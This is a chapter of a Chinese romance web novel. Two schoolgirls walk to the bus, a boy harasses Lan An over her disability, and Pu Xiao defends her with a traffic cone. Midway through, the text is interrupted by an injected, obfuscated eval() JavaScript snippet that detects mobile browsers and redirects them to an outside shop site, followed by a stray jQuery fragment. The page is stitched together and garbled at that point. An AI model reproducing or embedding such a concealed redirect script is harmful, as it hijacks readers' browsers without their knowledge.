14. 第 14 章
    回到房间,蒲晓怎么也睡不着。她躺在床上,借着三月末的月色,望向床前的那堵墙。

    墙依旧是灰蒙蒙的,可她心境已然不似第一天那样了。

    如今她已经对蓝桉房间的布局有了了解,知道墙的后面,靠墙的是书架柜子,蓝桉的床在对面。也就是说,没有这堵墙,她和蓝桉的床是对着的。

    她仿佛有了透视,看到了蓝桉的卧室,也看到了同样躺在床上的蓝桉。

    但她看不到蓝桉此时的模样。

    因为她没见过蓝桉睡觉时的样子,所以还想象不到。只能想蓝桉跟她一样,是平躺在床,双手搭在腹部睡的。

    与第一天还不一样的是,对于‘蓝桉’这个空白,空白的色彩渐渐浓郁了起来。

    就比如,她在今晚不仅体会到了蓝桉的真善美,知晓了蓝桉的倔强不屈,明白蓝桉是知道直接给手机她会拒绝,所以,蓝桉要了她全部零钱的一半。

    她也知道了——蓝桉的微信头像是一张风景图。

    -

    蒲晓盯着墙看了一会儿,看得她眼发涩,看得她心慌慌。越看,看到的画面就越虚幻,今晚发生的事就越在脑海中翻滚,虚与实就这样打斗在一起,迫使她越来越清醒。

    索性睡不着,就想着去背一会儿课文,可她爬起来后去拿书的手不知怎么的拐了个弯,反而将新手机握在手中,打开微信,按照蓝桉教她的那样,点开群聊,从群成员列表中找到了蓝桉。

    在看到蓝桉名字的那刻,慌乱悸动的心莫名其妙的就平复了下来。

    心口处慢慢团窝起酥酥麻麻的痒。

    蒲晓又侧躺下,怀里搂着被子,乌亮亮的眼盯着手机屏幕,盯着蓝桉的头像看。

    说是风景照,其实就是左下角有一条小路,小路旁一排树木。

    照片的主要部分就是那排树。

    白绿相间,树冠绿油油,树干白而细长,高挑的,仿佛是仙女种下的。

    蒲晓认识这树,是蓝桉树。蓝桉家后院就有一棵。听妈妈说,是蓝桉出生那年特意种下的,一直陪伴蓝桉成长。

    她曾经读到过一句诗——“蓝桉已遇释槐鸟,不爱万物唯爱你。”

    蓝桉树的身边不允许有其它植物生长,更不允许一些飞禽走兽在其枝干上栖息。但是却有一个例外,那就是释槐鸟可以在它的树上面休息。

    所以蓝桉的花语是:我的温柔只对你一人。

    蒲晓不知道蓝桉对谁温柔,又对谁不温柔。但今天,她实打实的体会到了蓝桉的温柔。

    宛若一股风,宛若一片云,宛若春天到了后树木长出的第一个绿嫩芽。

    宛若世间所有的一份美好。

    此刻,蒲晓要打翻彭远晴曾对她说的那句‘她脾气可不太好’的话。

    之前的蓝桉什么样、她人嘴里的蓝桉什么样,只是借鉴。都跟蒲晓无关。

    她现在认识的蓝桉,哪有坏脾气?她现在认识的蓝桉,是公主,是姐姐。

    现在对她而言,蓝桉……是顶顶好的人。

    -

    翌日一早,蒲晓背着书包下楼。

    别惜从负一层的健身房上来,看到蒲晓,说:“早上好,今天怎么起这么早?”

    “……没睡好。”蒲晓回了句,问,“seisei姐,你昨晚什么时候回来的?”

    别惜道:“快凌晨一点了吧。”

    蒲晓看了眼客厅的时钟,这会儿才五点半左右,“那seisei姐,你不困吗?”

    “等你们去上学了,我再回来补觉。”别惜往她的房间去,“你先等一会儿,我去冲个澡就做饭。”

    蒲晓道:“我可以做饭。”

    别惜回头,冲她一笑:“不用你做,你做了我干什么?”

    等别惜换了身衣服从屋里出来,蒲晓问她:“姐,蓝阿姨什么时候回来?”

    这会儿她跟别惜熟了,敢主动问话了。

    别惜:“怎么了?”

    蒲晓回:“这么多天,我还没见过蓝阿姨…”

    别惜笑:“芸姨昨晚回来了一趟,但公司有事,天不亮就又走了。”她说,“我昨天就是去接芸姨的。”

    “那…姐姐知道蓝阿姨回来吗?”

    “知道吧?芸姨回来的太晚了,可能有去看安安,但当时安安醒着还是睡着我就不清楚了。”

    别惜说完,对蒲晓道:“你就安心住着,别多想。”

    蒲晓抿唇点头:“…嗯。”

    别惜不让她帮忙,蒲晓就坐到沙发看书。

    不清楚过了多久,她听到了有人下楼的声音。

    抬眸,看到了蓝桉。

    束起的头发,高马尾辫随着下楼的动作轻轻摇曳,额前薄薄的刘海。纯白色简约不戴任何修饰的白色短袖,校服被她挽在了臂弯,和只背了一边的斜挎着的书包。

    一眼望去,少年感十足。

    蓝桉的面色沉净,看不出情绪。

    蒲晓眼睛下意识的垂落,可又架不住心慌慌,眼皮微撩,偷偷望向蓝桉。

    却没想到对上了蓝桉投来的视线。

    “早…早上好。”蒲晓脱口道。

    蓝桉走下最后一阶楼梯,睨向蒲晓。最先注意的,还是蒲晓的黑,再然后,就是她顶在脑袋上的‘球’,接着,是蒲晓怯生生的眸。

    她颔首,算是打过招呼。

    看到蓝桉给予回应,蒲晓嘴角微微上扬了下。也不清楚为什么,就是小小的开心。

    后来再跟着蓝桉一起坐公交车去学校,她从落后蓝桉五步,变成了落后四步、落后三步……到后面,蒲晓走在了蓝桉的身边。

    看到她上前,蓝桉睨了她一眼,没说话。

    没被蓝桉拒绝,蒲晓嘴角又上扬了一下。她还在小小的开心着。

    然却不知道,蓝桉余光扫到的她的模样,是她傻呵呵不知道在乐什么。

    “呆死了。”

    蓝桉没忍住,将心里话说了出来。

    就在她以为蒲晓会像之前那样低下头,默默后退到她身后时,蒲晓的反应出乎她意料,却让她无奈到一笑。

    “嘿嘿。”蒲晓嘴角的笑意非但未泯,反而还勾了一抹弧度,冲蓝桉干笑了两声。

    蓝桉:“……”嘿嘿啥?更呆了。

    她收敛笑意,不耐烦似的啧了声,问:“你笑什么?”

    蒲晓摇头,“不知道。”可又顿了下,回:“就是觉得,你好可爱喔。”

    这话放在几天前她打死也说不出来。可这会儿,她有点“恃宠而骄”了。

    蓝桉:“……”

    她斜睨蒲晓,终是被蒲晓噎的一句话说不出来。

    还有一百米就是公交站了。

    两人向前走着。

    却在走过一个小巷口时,被人堵住了去路。

    是个男生。穿的也是三中的校服,手里提着一个装有鸡蛋灌饼的袋子。

    看到蓝桉,他将饼袋子送到蓝桉面前。

    “给你买的早餐,趁热吃。”男生红着脸说。

    蒲晓下意识屏住呼吸,并且继续向前走。从小的教育告诉她,这个时候不该听人家聊天。

    可她又怕走远了,蓝桉会觉得她没有等她,她便在向前走了三步后停下,在那儿等着蓝桉。

    但三步的距离…她该听的还是都听到了。远离两人倒像是走个过场。

    蓝桉冷冷地扫了一眼男生,说:“用不着。”

    说完便要绕过男生继续向

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149255|138222||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前走。

    可男生却一个侧步挡住了她。

    语气激动:“蓝桉,我从初中就喜欢你了。为了你,我努力学习考上了三中,我等你,我带早餐给你,可为什么你就不能看我一眼?”

    蓝桉面色平静,声音也平淡。她回:“首先,从你第一次告白我就拒绝了,长久下来,你这不算追求,而是骚扰。其次,我为什么要看你?你长得跟个牛蛙似的,我想看牛蛙直接去看牛蛙不好吗?”

    蒲晓听到后眼睛茫然一眨。她好奇看向男生……虽然毒了点,但……好中肯的评价。

    男生窘红了脸,“蓝桉,你——”

    他紧紧攥着早餐袋子,忍着被羞辱的气,继续对蓝桉说:“追我的人那么多,可我只喜欢你。你做我女朋友好不好?”

    蓝桉目视前方,作势要走,淡声道:“我没病。”

    男生却又一次拦下她,并气急败坏叫道:“蓝桉!”

    三步外,蒲晓被这一声吓到,身子哆嗦了一下。转头,见路上来来往往的人全都看向了那边,也有看向她的,她转身,面对墙,背对着来往路人,小幅度地看向蓝桉那儿。

    她害怕。

    男生:“我都不介意你是残疾,你凭什么还这么高高在上?你装什么清高?”

    蓝桉脚步一顿,转眸看向男生,哦不,牛蛙。

    她嘴角勾起似笑非笑的弧度,眼睛微眯:“所以就因为我没了一条腿,给了你,你追我我就一定会答应的自信?”

    牛蛙:“我…我…”

    蓝桉:“我是不是还得哭着笑着,感恩戴德你不介意我是残疾人,喜欢我、追求我?嗯?”

    “你在打压我什么?”蓝桉轻歪头,目视牛蛙,语调轻悠,“就算我两条腿都没了,眼瞎了嘴歪了,我都不可能会答应你。知道为什么吗?因为,你根本就入不了我眼。”

    “你以为我不知道吗?你对身边的同学吹嘘你喜欢我,以喜欢一个残疾人来彰显你的高尚。被他们夸你居然不介意我没了一条腿的时候,你是不是沾沾自喜,以为自己很伟大?事实上,你卑贱如蝼蚁。”

    男生被蓝桉骂得直接红温,脸涨红得厉害。

    关键是,蓝桉说的一点错都没有。

    别人是这么夸他的。夸他不介意蓝桉残疾,夸他是真爱蓝桉。渐渐,他也被自己的高尚感动了。告诉自己,我真是个好男人,居然愿意和一个残疾人在一起。

    然而现在,蓝桉却说他是牛蛙,是随便就能踩死的蝼蚁。

    他不接受。

    凭什么蓝桉不答应他?!凭什么?!

    牛蛙怒声:“不然呢?你没了一条腿是事实,你这样,谁会喜欢你?”

    蓝桉懒得再和男人多说一句,无视他,要继续向前走。

    这样的话她听得太多了。说什么喜欢她,不介意她是残疾…这些还都是那些说喜欢她的人说的话。想一想,真是可笑。

    残疾怎么了?

    比谁差吗?

    牛蛙见状跳脚起来,直接伸手扯上蓝桉胳膊。

    蓝桉面色终于沉下,她怒眉,挣脱。

    可牛蛙力气还挺大,疯了似的扯着蓝桉。

    “蓝——啊!!!”

    蓝桉听得牛蛙一声痛呼。

    接着是“哐当”一声——一个三角路障掉在了脚边。

    蓝桉眸抬向路障飞来的方向。

    然后蓝桉便看到——

    那位见到人总是低着头的、说话细弱的、被别人嘲笑也一声不吭的、唯唯诺诺让人看了就生厌的蒲晓,又力大无穷的从路边抱起了一个路锥举了起来,作势要往男生身上砸。

    同时还大声喊道:

    “呸!!!你就是茅坑里的蛆——”